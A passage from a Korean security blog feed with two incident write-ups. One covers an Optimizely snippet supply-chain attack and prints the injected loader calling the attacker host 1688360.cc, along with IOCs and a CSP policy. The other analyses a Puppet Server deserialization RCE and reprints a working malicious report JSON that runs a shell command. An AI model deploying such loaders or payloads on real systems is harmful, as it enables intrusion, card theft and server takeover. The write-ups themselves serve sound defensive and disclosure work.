뒤 무엇을 할 수 있는지 제한하고(CSP), 무엇이 바뀌었는지 상시 관측하고, 코드를 실행하는 권한 자체를 좁히는 것.</p>\n<h2>3. 익스플로잇: 4단 폴백과 26번의 재빌드</h2>\n<p>주입된 로더는 세 가지 형태로 관측됐다. 가장 흔한 것은 평범한 태그다. Zoom의 스니펫에 들어간 코드는 이렇다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-js\">\"projectJS\": function(){(function(){try{var s=document.createElement('script');\ns.src='https://1688360.cc/track.js';s.async=true;\n(document.head||document.documentElement).appendChild(s);}catch(e){}})();</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>두 번째는 같은 URL을 base64로 감싸 <code>atob()</code>로 푼다. <code>s.src=atob('aHR0cHM6Ly8x…')</code> 한 줄이고, Cloudflare Rocket Loader가 태그를 건드리지 않도록 <code>data-cfasync=\"false\"</code>가 붙는다. 스니펫에서 <code>1688360</code>을 문자열 검색해도 아무것도 안 나온다. 세 번째는 BBC 프로젝트에 아카이브된 형태로, 32,524자 base64 본문에 페이로드 전체를 품고 있고 폴백 사다리를 직접 구현한다.</p>\n<ol><li>19행 — 정상 경로. 원격 파일을 <code>?cb=</code>와 타임스탬프를 붙여 요청한다. 캐시가 응답하지 못하게 하는 파라미터다.</li><li>22·24행 — 태그가 실패(<code>onerror</code>)하거나 2.5초 안에 아무것도 로드되지 않으면 <code>boot()</code>가 임베드된 사본을 실행한다. 공격자 도메인을 CSP로 막은 사이트가 정확히 이 분기를 밟는다.</li><li>28~34행 — 6초가 지나도 페이로드 자신의 마커 <code>_k7</code>이 없으면 <code>fetch</code>+<code>eval</code>, 그다음 <code>XMLHttpRequest</code>+<code>eval</code>을 시도한다.</li><li>35·37·39행 — 모든 경로가 실패하면 <code>px.gif?e=1</code>, <code>e=2</code>, <code>e=3</code>으로 이미지 요청을 보낸다. <strong>운영자가 자기가 못 들어간 브라우저를 세는 텔레메트리</strong>다. 이 픽셀은 공개된 IOC 목록에 없고, 방어가 잘 된 사이트가 남겼을 유일한 흔적이다.</li></ol>\n<p>페이로드 <code>track.js</code>의 첫 빌드는 08:01:15 UTC 서버 시각으로 기록됐고, 마지막 빌드는 17:56:07에 약 30KB(29,882자)로 끝났다. 하루 동안 <strong>26번 다시 빌드</strong>됐고, 서버는 <code>cache-control: max-age=15</code>를 보냈다. 운영자는 15초 안에 새 버전을 전 방문자에게 밀어 넣을 수 있었다. nginx가 만든 ETag(<code>\"6afab84b-2080\"</code>)는 파일 수정시각과 길이를 16진수로 담으므로, 프록시 로그에 이 헤더가 남아 있다면 본문 없이도 어느 빌드를 받았는지 특정된다.</p>\n<p>첫 빌드는 단순한 클리퍼가 아니라 <strong>트래픽 수익화 룰 엔진</strong>이었다. 설정 버전 <code>d82c8ca562eb</code>, 상대 경로 엔드포인트 <code>/_geo</code>와 <code>/px</code>, 그리고 이름이 붙은 규칙들이 있다. 5번 규칙은 \"Crypto address clipper (all countries)\", 2번 규칙은 \"iOS boot.js loader\"다. 규칙 본문은 base64를 뒤집어 저장하고 <code>split(\"\").reverse().join(\"\")</code> 뒤 <code>new Function</code>에 넘긴다. 선행 <code>=</code> 하나가 그것을 폭로한다. 타게팅 조건은 국가·제외 국가·기기·브라우저·언어·시간대·IP·CIDR·URL 부분문자열·리퍼러·iOS/Android 버전 범위·시작/종료 시각·비율까지 걸린다. 비율은 방문자 ID와 규칙 ID, 날짜를 FNV-1a로 해시해 같은 방문자를 하루 동안 같은 버킷에 고정한다. 발화할 때마다 규칙 ID·국가·기기 분류·빌드 버전을 보고한다. 이건 개인이 즉석에서 짠 스크립트가 아니라 패널이 있는 제품이다.</p>\n<p>기능은 시간순으로만 늘었고, 지워진 것은 없다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>시각(UTC)</th><th>빌드에서 확인된 변화</th></tr></thead><tbody><tr><td>08:01</td><td>룰 엔진 + BTC·ETH·TRX 지갑 3개 + iOS 규칙</td></tr><tr><td>11:35</td><td><code>hook.php</code> 쿠키 수집기 추가, FullStory 로그인 쿠키 조건</td></tr><tr><td>11:57</td><td>조건을 HubSpot 로그인 쿠키로 교체</td></tr><tr><td>12:47</td><td>TON·SOL·LTC·BCH 추가(지갑 7개), <code>hit.php</code>와 스크린샷</td></tr><tr><td>12:58</td><td>링크·이미지·QR 코드 재작성</td></tr><tr><td>13:39</td><td>카드 스키머와 DOGE 추가, <code>hook.php</code>가 모든 방문자에게 전송</td></tr><tr><td>15:21</td><td><code>Function.prototype.call</code>·<code>apply</code> 후킹, <code>window.open</code> 래핑</td></tr><tr><td>16:07</td><td><code>navigator.share</code> 래핑</td></tr><tr><td>17:05</td><td>두 번째 iOS 라우터</td></tr><tr><td>17:45</td><td>iOS 18.6 이하용 숨은 iframe</td></tr><tr><td>17:56</td><td>마지막 빌드 (SHA-256 <code>f7b84b9a…bad40</code>)</td></tr></tbody></table></div>\n<p>페이로드의 동작은 네 갈래다.</p>\n<p><strong>지갑 주소 치환.</strong> BTC·ETH/EVM·TRON·SOL·TON·LTC·BCH·DOGE의 대체 주소를 들고, 체크섬을 통과하는 주소만 바꾼다. 그래야 피해자 지갑이 받아 준다. 바꾸는 자리는 페이지 텍스트, 폼 입력, 링크·이미지 속성, <code>copy</code> 이벤트, 클립보드 API, <code>navigator.share</code>, <code>fetch</code>/XHR의 URL과 본문이다. <code>Function.prototype.call</code>과 <code>apply</code>까지 패치하므로 문자열이 어떤 함수에 도달하기 전에 이미 치환된다. 결제 관련 단어(wallet, deposit, send) 근처에서만 발동해 오작동을 줄였다. 함의는 잔인하다. <strong>감염된 페이지에서 복사한 주소는 붙여넣는 순간 이미 공격자 것이다.</strong> 지갑 화면이나 하드웨어 지갑 표시로 대조해야 한다.</p>\n<p><strong>쿠키·스크린샷 유출.</strong> 화면에 보이는 요소에서 첫 치환이 일어난 뒤 한 번, <code>html2canvas.min.js</code>를 페이로드 서버에서 받아 화면을 JPEG로 뜨고 페이지 URL, <code>document.cookie</code> 최대 8,000자, 치환 전 원본 주소 최대 20개를 <code>/hit.php</code>로 POST한다. <code>HttpOnly</code> 쿠키는 손대지 못한다. 지갑 주소를 다루지 않은 방문자는 아무것도 보내지 않는다.</p>\n<p><strong>카드 스키머.</strong> 13:43 UTC에 추가됐다. <code>fetch</code>/XHR을 감싸고 폼 제출을 듣다가, 브랜드 접두사와 Luhn 검사를 통과한 카드번호, 유효기간, 3~4자리 CVV가 모이면 페이지 URL과 함께 <code>navigator.sendBeacon</code>으로 <code>/card.php</code>에 보낸다. 카드 소유자명과 청구지는 수집하지 않는다. Stripe·Adyen 같은 cross-origin 결제 iframe 안의 필드는 읽지 못하고, 사이트 자체 폼 필드에 입력된 카드는 읽는다. 잡은 카드는 중복 전송을 피하려고 <strong>피해 사이트의 <code>sessionStorage</code>에 <code>cc_</code> 접두사 키로 평문 저장</strong>한다. 사고 대응자에게는 이 잔여물이 단서가 되고, 사용자에게는 브라우저 저장소에 카드번호가 남았다는 뜻이다.</p>\n<p><strong>iOS 2단계.</strong> iPhone·iPad·iPod 사용자 에이전트에는 <code>.icu</code> 호스트 두 곳에서 <code>boot.js</code>를 붙이고, iOS 18.6 이하에는 숨은 iframe(<code>/JIUJIU888/weifile.html</code>)을 추가한다. 체인은 iOS 13~17의 Coruna(13.0~17.2.1 대상), iOS 18.x의 DarkSword(18.4~18.7 대상), 그리고 iOS 26용 별도 체인이다. iOS 26 체인은 관측 시점에 기기 지문 수집만 했다. 키트 자체 주석은 iOS 18.7.3 이상과 26.3 이상을 패치된 버전으로 적고 있고, 18.6 이하 페이지는 60초마다 리로드하며 익스플로잇을 재시도한다. 사용자가 알아챌 수 있는 유일한 증상이 그 리로드다. 실제 물리 기기가 탈취됐다는 증거는 아직 없다. Cynet은 에뮬레이션한 iPhone 브라우저로 2단계를 받아냈을 뿐이라고 밝혔다.</p>\n<p>같은 행위자의 선행 웨이브도 같은 패턴이다. 9월 17일부터 <code>webshell.lol</code> 인젝터가 터키 사이트의 SEO 백링크 패널 스크립트(<code>linkforge.cc</code>)를 타고 나타났고, 11월 13~16일에는 Kissmetrics·StorifyMe·Minute Media 스크립트를 통해 <code>securitybank.com</code>, <code>faz.net</code>, <code>smh.com.au</code>, <code>vidaxl</code>, <code>foxsports.com</code> 등을 감염시켰다. Optimizely가 첫 목표가 아니었고, 마지막도 아닐 가능성이 크다.</p>\n<p>확인된 지표는 이렇다. 모두 공격자 소유이며 서브도메인까지 차단 대상이다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>지표</th><th>역할</th></tr></thead><tbody><tr><td><code>1688360.cc</code> (136.113.106.136)</td><td>주 C2. <code>track.js</code>, <code>card.php</code>, <code>hit.php</code>, <code>hook.php</code>, <code>html2canvas.min.js</code>. 11-17 00:37 UTC <code>clientHold</code></td></tr><tr><td><code>webshell.lol</code></td><td>선행 웨이브 인젝터 <code>get.js</code>. 11-17 03:37 UTC <code>clientHold</code></td></tr><tr><td><code>5vobauua3ojpklx.icu</code> (34.96.213.201)</td><td>iOS 라우터 <code>boot.js</code></td></tr><tr><td><code>eil786npto9u5bq.icu</code> (34.87.36.58)</td><td>iOS 라우터, Coruna·iOS 26 페이지</td></tr><tr><td><code>l7bcsnwc7nzr3uo.icu</code></td><td>Coruna 텔레메트리, <code>POST /api/iptj</code></td></tr><tr><td><code>je4ft3gn8vxudum.icu</code>, <code>q1ls1ho9x7wsxlu.icu</code>, <code>ios-hack.icu</code></td><td><code>boot.js</code>에 하드코딩된 예비 C2</td></tr><tr><td><code>window._k7</code>, <code>window.__k7b</code></td><td>페이로드가 남기는 전역 마커</td></tr><tr><td><code>data-channel-code=\"02111110\"</code></td><td>iOS 로더의 스크립트 태그 속성</td></tr><tr><td><code>f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40</code></td><td><code>track.js</code> 최종 빌드 SHA-256</td></tr><tr><td><code>814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f</code></td><td><code>track.js</code> 17:05 빌드 SHA-256</td></tr></tbody></table></div>\n<p>해시는 지표로 쓰기 어렵다. 20분 간격으로 다시 빌드된 파일이기 때문이다. 구조적 문자열(<code>_geo</code>, <code>/px</code>, <code>d82c8ca562eb</code> 형태의 설정 버전, 뒤집힌 base64)이 재빌드를 견딘다.</p>\n<p>돈은 11월 17일 04:11~05:39 UTC 사이에 전부 빠져나갔다. LTC 17.02는 <code>ltc1qpxvjs8…</code>로, USDT 116은 <code>TMLQvDvpgS…</code>로, BTC 0.0852는 <code>bc1q5fljq9c…</code>로 이동했다. TRON 주소는 2026년 3월과 11월 3일에도 현금화에 쓰인 주소여서, 이 행위자를 이전 작전과 연결하는 근거가 된다.</p>\n<h2>4. 대응과 방어: 벤더가 고친 것과 고치지 않은 것</h2>\n<p>Optimizely의 공개 대응은 다섯 가지다. 취약 경로 접근을 차단하고 수정을 배포했고, 영향 프로젝트에서 주입 코드를 제거했고, <strong>활성 세션을 종료하고 토큰을 폐기하고 영향 계정의 접근을 재설정</strong>했고, Cloudflare에서 코드 전달 자체를 막았고, 영향 고객 전원에게 통지했다고 밝혔다. 세션·토큰·계정 재설정은 \"가입 플로우 결함으로 얻은 접근\"이라는 설명과 일관된다. 즉시 조치로는 정확한 순서다.</p>\n<p>공개되지 않은 것은 더 중요하다. 어떤 결함이었는지, 어느 프로젝트가 언제 바뀌었는지, 노출 구간이 정확히 얼마인지, 잔여 접근이 있는지. Dark Reading이 인용한 Strike Graph의 Justin Beals 말대로, 영향 고객이 물어야 할 것은 이 네 가지이고, 답이 없으면 \"고친 것이 원인인지 증상인지\" 판단할 수 없다. Helme 팀이 공개 시점에 Optimizely로부터 아무 응답도 받지 못했다고 적은 점도 함께 봐야 한다.</p>\n<p>고객 쪽에서 지금 할 수 있는 확인은 스니펫 자체와 변경 이력이다. 첫째, 모든 프로젝트의 <code>Project JavaScript</code> 필드와 실험 커스텀 코드를 직접 열어 <code>1688360.cc</code>, <code>atob(</code>, 자기가 쓰지 않은 스크립트 태그를 찾는다. 스니펫 문자열에서 <code>1688360</code>을 검색하는 것으로는 부족하다 — base64 변형이 정확히 그 검색을 피한다. 둘째, 11월 16일 프로젝트 변경 이력과 스니펫 <code>Last-Modified</code>를 대조한다. 감염된 프로젝트는 정리된 뒤에도 16일 날짜가 헤더에 남는다. 셋째, 자사 도메인에서 서빙하는 사본이 있으면 같은 검사를 따로 한다. 넷째, 자체 폼 필드로 카드를 받는 사이트라면 11월 16일 입력분을 노출로 간주하고, <code>HttpOnly</code>가 아닌 쿠키의 세션 토큰·비밀값을 회전한다.</p>\n<p>CSP는 이 사건에서 유일하게 실측으로 효과가 확인된 통제다. 24개 사이트를 지킨 것은 목록형 <code>script-src</code>였다. 배포할 정책의 뼈대는 이렇게 잡는다.</p>\n<div class=\"codeblock\"><pre><code>default-src 'none';\nscript-src 'self' 'nonce-{r}' https://cdn.optimizely.com https://*.optimizely.com;\nconnect-src 'self' https://logx.optimizely.com https://*.optimizely.com;\nimg-src 'self' data: https://cdn.optimizely.com;\nstyle-src 'self' 'unsafe-inline' https://*.optimizely.com;\nframe-src https://a{account}.cdn.optimizely.com;\nreport-uri https://{collector}/csp;</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>'strict-dynamic'</code>를 빼면 서드파티 호스트를 하나씩 명시해야 하고, 그 유지비가 이 정책의 실제 비용이다. <code>'unsafe-eval'</code>을 빼면 커스텀 JavaScript 조건을 쓰는 오디언스 같은 기능을 포기해야 한다. 둘 다 \"예제에서 복사\"할 설정이 아니라, 무엇을 잃고 무엇을 얻는지 계산하고 고를 값이다. Report URI가 제안한 현실적 절충은 이렇다. 정책은 강제 모드로 두되 <code>report-uri</code>를 함께 걸고, 스크립트 지문 변화 감시를 상시 켠다. 이번 공격에서 <code>cdn.optimizely.com</code>의 파일이 바뀐 사실 자체는 정상 동작이었고, 문제는 그 뒤에 새 호스트가 붙은 것이다. 새 호스트 요청, 새 데이터 목적지, 새 프레임 출처 — 이 세 신호만 보고 있어도 04:21에 잡혔을 침해다.</p>\n<p>카드 필드의 위치도 이번에 값을 매길 만한 설계 결정이다. <code>cross-origin</code> 결제 iframe 안의 카드는 스키머가 읽지 못했다. 사이트가 자기 폼 필드로 카드를 직접 받는 관행은 편의와 맞바꾼 노출이다. <code>HttpOnly</code>·<code>SameSite</code> 쿠키, <code>require-trusted-types-for 'script'</code>를 쓸 수 있는 곳에서는 그 지시문, 그리고 서드파티 승인을 계약 시점의 일회성 심사가 아니라 <strong>코드가 바뀔 때마다 갱신되는 통제</strong>로 옮기는 일이 남는다.</p>\n<p>탐지 쪽에는 피해 사이트 자기 로그에만 있는 흔적이 있다. 첫 빌드들이 요청한 <code>/_geo</code>와 <code>/px</code>는 상대 경로라서, 서드파티 스크립트가 실행된 페이지에서는 <strong>그 사이트 오리진으로</strong> 요청이 갔다. 08:01~08:30 빌드를 서빙한 사이트라면 11월 16일 액세스 로그에 페이지뷰마다 한 줄씩 남아 있을 수 있다. <code>track.js?cb=</code> 형태의 요청, <code>px.gif?e=1</code>, <code>hook.php</code>, 그리고 IOC 호스트로 향하는 DNS·프록시 기록을 11월 12일까지 거슬러 검색할 가치가 있다.</p>\n<p>이 사건이 남기는 기술적 결론은 \"서드파티를 줄여라\"가 아니다. 178개 조직 중 어느 곳도 자기 코드를 잘못 짜서 당하지 않았다. 그들이 승인한 벤더는 승인 시점에 안전했고, 그 벤더의 CDN은 인증서도 도메인도 정상이었다. 무너진 것은 <strong>코드 변경에 대한 신뢰 경계</strong>다. 호스트 목록은 \"어디서 왔는가\"까지만 말하고, 그 파일이 어제와 같은 일을 하는지는 아무도 검사하지 않는다. 16시간 동안 178개 사이트가 그 빈칸 위에 서 있었다.</p>",
      "date_published": "2026-11-18T09:00:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "Optimizely",
        "projectJS",
        "공급망공격",
        "웹스키밍",
        "CSP",
        "strict-dynamic",
        "Coruna",
        "DarkSword",
        "OPTIMJACK"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_optimizely_supply_chain.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/puppet-enterprise-cve-2026-115731/",
      "url": "https://dohyeontech.github.io/posts/puppet-enterprise-cve-2026-115731/",
      "title": "[긴급 속보] Perforce Puppet Enterprise 제로데이 취약점(CVE-2026-115731) 실제 악용 확인… 즉시 패치 권고",
      "summary": "11월 3일 공개된 Puppet 리포트 역직렬화 결함은 유효한 에이전트 인증서 하나만 있으면 Puppet Server에서 puppet 사용자 권한의 코드를 실행시킨다. 11월 17일 CISA가 실제 악용 근거를 확인해 KEV에 등재했고, 연방기관 패치 기한은 12월 1일이다.",
      "content_html": "<p>2026년 11월 17일, CISA는 Perforce Puppet Enterprise의 리포트 역직렬화 결함(CVE-2026-115731)을 KEV(Known Exploited Vulnerabilities) 카탈로그에 등재했다. 카탈로그 버전 <code>2026.11.17</code>의 등재 항목이며, 요구 조치 기한은 12월 1일, 랜섬웨어 캠페인 사용 여부는 <code>Unknown</code>, BOD 26-04 포렌식 트리아지 의무는 <code>No</code>로 기록돼 있다. KEV 등재는 \"공격자들이 이 결함을 실제로 썼다\"는 뜻이고, 동시에 이 취약점이 11월 3일 공개된 뒤 보름도 되지 않아 실제 침해 단계에 도달했다는 뜻이다.</p>\n<p>사실관계를 순서대로 정리하면 이렇다. Neodyme의 Alain Rödel이 레드팀 준비 과정에서 Puppet Enterprise 2025.11.2(Puppet 8.20.0)를 대상으로 결함 두 건을 찾아 Perforce와 OpenVox에 제보했고, 11월 3일 17:00 UTC에 양쪽이 동시에 패치와 권고를 냈다. 같은 날 Perforce의 CNA가 부여한 CVSS 4.0 점수는 9.4(<code>CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</code>)로 Critical이고, 약점은 CWE-502(비신뢰 데이터 역직렬화)와 CWE-94(코드 생성 통제 실패) 두 가지로 분류됐다. 11월 4일에는 OpenVox 권고문 자체가 동작하는 악성 리포트 JSON을 포함한 상태로 공개됐다 — 즉 익스플로잇 코드가 별도 유출 경로를 통해 나온 것이 아니라, 패치 안내문과 함께 배포됐다. 11월 13일에는 Red Hat이 Satellite 6/Capsule 6용 <code>openvox-server</code> 8.18.0, <code>openvox-agent</code> 8.32.0을 담은 RHSA-2026:95652·95653을 냈고, 11월 17일 KEV 등재로 이어졌다.</p>\n<p>영향 범위는 Perforce 권고가 명시한다. Puppet Core 8.x는 8.22.2 미만, Puppet Core 9.0.0은 9.1.3 미만이 취약하다. Puppet Enterprise는 2023.8.0~2023.8.13, 2025.0.0~2025.12.1, 2026.0.0~2026.0.1 세 구간이 각각 해당되며, 수정판은 2023.8.13(Puppet Core 8.22.2), 2025.12.1(Puppet Core 8.22.2), 2026.0.1(Puppet Core 9.1.3)이다. Neodyme의 실험실에서는 같은 익스플로잇이 오픈소스 계열 6.24.0(2021년 7월 릴리스)에서도 동작했다. 하나의 결함이 5년 치 릴리스로 이어져 있고, 폐쇄 소스 상용 제품과 커뮤니티 포크가 같은 코드를 공유했기 때문에 두 제품에 CVE가 나뉘어 붙었다.</p>\n<p>이 취약점이 단순한 \"인증 후 RCE\"보다 훨씬 무거운 이유는 위치에 있다. Puppet Server는 조직의 모든 관리 노드에 설정·패키지·자격증명을 배포하는 구성관리 평면이고, Neodyme의 실험실에서는 <code>puppet</code> 권한 코드 실행만으로 CA 서명키를 읽어낼 수 있었다. 서버 한 대가 뚫리면 신뢰의 뿌리(CA)와 배포 채널(카탈로그, PXP)이 같이 넘어간다. CVSS 4.0의 후속 시스템 영향도가 <code>SC:H/SI:H/SA:H</code>로 모두 High인 것은 이 구조를 반영한 점수다. 참고로 FIRST의 EPSS는 0.366%(31st percentile)로 낮은 편인데, 이 모델은 KEV 등재 전 데이터로 산출된 값이라 실제 악용 근거보다 약한 신호다. KEV는 확률이 아니라 관측이다.</p>\n<h2>1. 끊어진 경계: 리포트가 '서버가 만든 데이터'로 취급됐다</h2>\n<p>Puppet 에이전트는 실행이 끝나면 결과 리포트를 만든다. 이 리포트는 <code>PUT /puppet/v3/report/{agent_name}?environment={env}</code>로 서버에 올라가고, 서버는 mTLS 클라이언트 인증서에서 해당 노드의 신원을 도출한다. 리포트의 뼈대는 <code>resource_statuses</code> 아래에 리소스별 상태가, 그 아래에 <code>events</code> 배열이 붙는 구조다.</p>\n<p>서버 쪽 처리 경로는 이렇게 이어진다. <code>lib/puppet/transaction/report.rb:303</code>에서 <code>resource_statuses</code>를 순회하며 <code>Puppet::Resource::Status.from_data_hash(rs)</code>를 호출하고, <code>lib/puppet/resource/status.rb:200</code>에서 각 이벤트를 <code>Puppet::Transaction::Event.from_data_hash(event)</code>로 넘긴다. 문제의 지점은 그 다음, <code>lib/puppet/transaction/event.rb:69</code>의 <code>initialize_from_hash</code>다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-ruby\">def initialize_from_hash(data)\n  data = Puppet::Pops::Serialization::FromDataConverter.convert(data, {\n                                                                  :allow_unresolved =&gt; true,\n                                                                  :loader =&gt; Puppet::Pops::Loaders.static_loader\n                                                                })</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>FromDataConverter</code>는 이름 그대로 역직렬화기다. JSON 해시에 <code>__ptype</code> 키가 있으면 그 값을 타입 문자열로 파싱하고, <code>__pvalue</code>를 그 타입의 인스턴스로 복원한다. 내부 데이터 왕복(에이전트의 <code>to_data_hash</code> → 서버의 <code>from_data_hash</code>)을 전제로 만든 컨버터다. <code>:allow_unresolved =&gt; true</code>는 여기에 \"서버가 모르는 타입 이름이 나와도 예외로 죽지 말고 넘겨라\"는 관용을 더한다. 실제로 이 관용이 필요했던 이유는 현실적이다. 관리 대상에는 구버전 에이전트가 섞여 있고, 그 에이전트가 보내는 rich data 타입을 최신 서버가 전부 알지 못한다. 문제는 그 관용이 <strong>네트워크에서 온 데이터에 적용됐다</strong>는 점이다. 신뢰 경계가 인증서 검증에서 끝나고, 그 안쪽 데이터는 서버 자신이 만든 것과 동급으로 취급됐다.</p>\n<p>복원 경로는 <code>lib/puppet/pops/serialization/from_data_converter.rb</code>에 있다. 211행 <code>pcore_type_hash_to_value</code>는 값이 Hash면 객체를 만들고, <strong>값이 String이면</strong> 223행에서 다음을 실행한다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-ruby\">when String\n  build(pcore_type.create(value))</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>여기서 <code>pcore_type</code>은 공격자가 <code>__ptype</code> 자리에 넣은 문자열이 <code>Types::TypeParser.singleton.parse(type_value, @loader)</code>로 파싱된 결과다. 타입 파서는 <code>Integer</code>, <code>String</code> 같은 원시 타입 이름만 받는 게 아니라 <code>Object[{...}]</code> 형태의 <strong>인라인 타입 정의</strong>도 받는다. 즉 리포트 한 칸에 \"이 값의 타입은 이것이다\"라고 타입 정의식 전체를 적어 넣을 수 있다. 리포트 스키마에는 타입 정의를 넣는 자리가 없지만, 컨버터는 스키마가 아니라 데이터를 믿었기 때문에 그 자리가 생겼다.</p>\n<h2>2. 타입 정의에서 class_eval까지 네 단계</h2>\n<p>인라인 <code>Object</code> 타입은 <code>pops/types/p_object_type.rb:863</code>의 <code>create</code>에서 <code>implementation_class.create(*args)</code>로 내려간다. <code>implementation_class</code>(551행)는 먼저 구현 레지스트리에서 클래스 이름을 찾고, 없으면 557행에서 기본 구현을 만든다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-ruby\">if class_name.nil?\n  # Use generator to create a default implementation\n  @implementation_class = RubyGenerator.new.create_class(self)</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>공격자에게는 이 분기가 오히려 유리하다. 레지스트리에 없는, 세상에 존재하지 않는 타입 이름(권고문 PoC에서는 <code>PEP</code>)을 쓰면 항상 이 경로로 떨어진다. <code>types/ruby_generator.rb:57</code>의 <code>create_class</code>는 그 타입 정의로부터 루비 클래스 본문 문자열을 조립하고, 66행에서 컴파일한다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-ruby\">class_def = ''.dup\nclass_body(key, EMPTY_ARRAY, class_def)\ncls = Class.new(parent_class)\ncls.class_eval(class_def)</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>본문 조립은 <code>class_body</code>(206행)가 하는데, 함수 정의를 출력하는 391행 블록이 결정적이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-ruby\">code_annotation = RubyMethod.annotate(func)\nif code_annotation\n  body = code_annotation.body\n  params = code_annotation.parameters\n  bld &lt;&lt; \"\\n  def \" &lt;&lt; rname(func.name)\n  ...\n  bld &lt;&lt; \"\\n    \" &lt;&lt; body &lt;&lt; \"\\n\"</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>RubyMethod</code> 애노테이션의 <code>body</code>는 타입 정의 안에 들어 있는 임의 문자열이고, 이스케이프 없이 <code>def</code> 블록 안으로 들어간다. 공격자는 이 <code>body</code>에 함수를 조기에 닫는 문자열을 넣는다. <code>1</code>과 <code>end</code>로 함수를 끝내고, 백틱으로 감싼 셸 명령을 클래스 본문 최상위에 놓은 뒤, <code>def d2</code>로 새 함수를 다시 연다. 조립된 결과는 다음과 같다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-ruby\">def pwn\n  1\nend\n`/bin/sh -c 'touch /tmp/pwned'`\ndef d2\n  1\nend</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>이 클래스는 어디에서도 인스턴스화되지 않는다. 그러나 <code>class_eval</code>은 문자열을 <strong>컴파일</strong>하고, 클래스 본문 최상위의 백틱은 컴파일 시점에 실행된다. 실제로 실행되는 명령의 권한은 Puppet Server 서비스 계정, 즉 <code>puppet</code>이다. 정상 리포트의 <code>events</code>에는 이름·상태·메시지·경과시간 같은 스칼라만 들어가고, 서버가 이 데이터로 클래스를 만들 이유가 없다. 정상 트래픽과 공격 트래픽의 차이는 요청 형식이 아니라 \"이 값이 객체여야 하는가\"라는 의미론 하나뿐이다.</p>\n<h2>3. 자동 서명 CA가 만드는 미인증 경로</h2>\n<p>CVSS 벡터의 <code>PR:L</code>(Privileges Required: Low)은 \"에이전트 인증서 하나가 필요하다\"는 뜻이다. 인증서가 없으면 리포트 엔드포인트 자체가 막히므로, 이 결함은 엄밀히 인증 후 취약점이다. 그런데 그 인증서를 얻는 절차가 대개 자동화돼 있다.</p>\n<p>새 노드는 인증서 없이 <code>/puppet-ca/v1/certificate_request/{name}</code>에 CSR을 넣는다. 인증서가 없는 상태에서 접근해야 하는 엔드포인트이므로 이 경로는 인증을 요구하지 않는다. 운영자가 수동 서명하면 여기서 끝나지만, 프로비저닝 도구(Satellite, Ansible, Terraform 등)로 수십~수천 대를 자동 등록하는 환경에서는 <code>autosign</code>이 켜져 있고, <code>autosign.conf</code>의 <code>*.lab.local</code> 같은 패턴이 노드 이름을 검증 없이 통과시킨다. Perforce와 CISA가 \"CA가 강한 검증 없이 자동 서명하면 미인증 네트워크 공격자가 유효한 인증서를 얻어 악용할 수 있다\"고 명시한 이유다. 이 조건에서 공격 체인은 인증 없이 시작해 서버 권한 코드 실행으로 끝난다.</p>\n<p>OpenVox 권고 GHSA-ffr6-rwpm-p5wq가 공개한 리포트 본문은 정상 리포트의 형식을 그대로 유지한다. <code>report_format</code> 12, <code>puppet_version</code> 8.20.0, <code>status</code> <code>changed</code>, <code>resource_statuses</code> 아래 <code>Notify[x]</code> 항목까지 실제 에이전트가 보내는 구조와 같다. 다른 곳은 <code>events</code> 배열 하나다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-json\">\"events\": [\n  {\n    \"__ptype\": \"Object[{name =&gt; 'PEP', functions =&gt; {'test' =&gt; {type =&gt; Callable, annotations =&gt; {RubyMethod =&gt; {'body' =&gt; \\\"1\\\\n end\\\\n `/bin/sh -c 'touch /tmp/pwned'`\\\\n def d2\\\\n 1\\\"}}}}}]\\\",\n    \"__pvalue\": \"x\"\n  }\n]</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>이 요청이 성공하면 <code>/tmp/pwned</code>가 <code>puppet</code> 사용자 소유로 생성된다. 이후의 전개는 구성관리 서버의 구조를 따라 확장된다. Neodyme의 실험실 체인은 먼저 CA 개인키를 Puppet 파일 버킷으로 복사해 빼낸 뒤(기본 경로 <code>/opt/puppetlabs/server/data/puppetserver/bucket</code>), 그 키로 <code>serverAuth</code>와 <code>clientAuth</code>를 EKU에 넣은 서버 인증서를 오프라인에서 발급하고, 포트 8142의 PXP(Puppet Execution Protocol) 브로커에 붙어 관리 노드에 태스크를 밀어 <code>root</code> 실행을 얻었다. PXP가 구성되지 않은 환경에서도 피해는 남는다. 표준에서 벗어난 설치에서는 <code>puppet</code> 사용자가 카탈로그를 덮어써 관리 노드 전체에 다음 체크인부터 악성 구성을 배포할 수 있고, 어떤 구성에서도 CA 서명키를 쥔 공격자는 다른 노드의 신원을 위조할 수 있다.</p>\n<p>같은 날 공개된 동반 결함 CVE-2026-115732(CVSS 9.0)는 이 마지막 단계를 훨씬 싸게 만든다. 인증서 이름이 승인된 이름과 <strong>부분 일치</strong>해도 통과하던 검증 결함으로, 한 노드가 다른 노드를 사칭할 수 있었다. Neodyme는 실제 고객 환경에서 이 경로로 특정 호스트의 카탈로그를 가져왔고, 그 안에 PostgreSQL 자격증명과 관리자 API 토큰이 평문으로 들어 있던 